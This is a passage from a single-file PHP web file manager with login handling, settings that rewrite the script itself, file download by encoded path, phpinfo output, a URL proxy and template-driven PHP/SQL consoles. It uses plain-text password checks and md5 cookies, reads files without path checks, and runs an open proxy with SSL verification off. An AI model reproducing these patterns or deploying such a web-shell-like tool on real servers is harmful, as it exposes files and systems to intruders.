	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
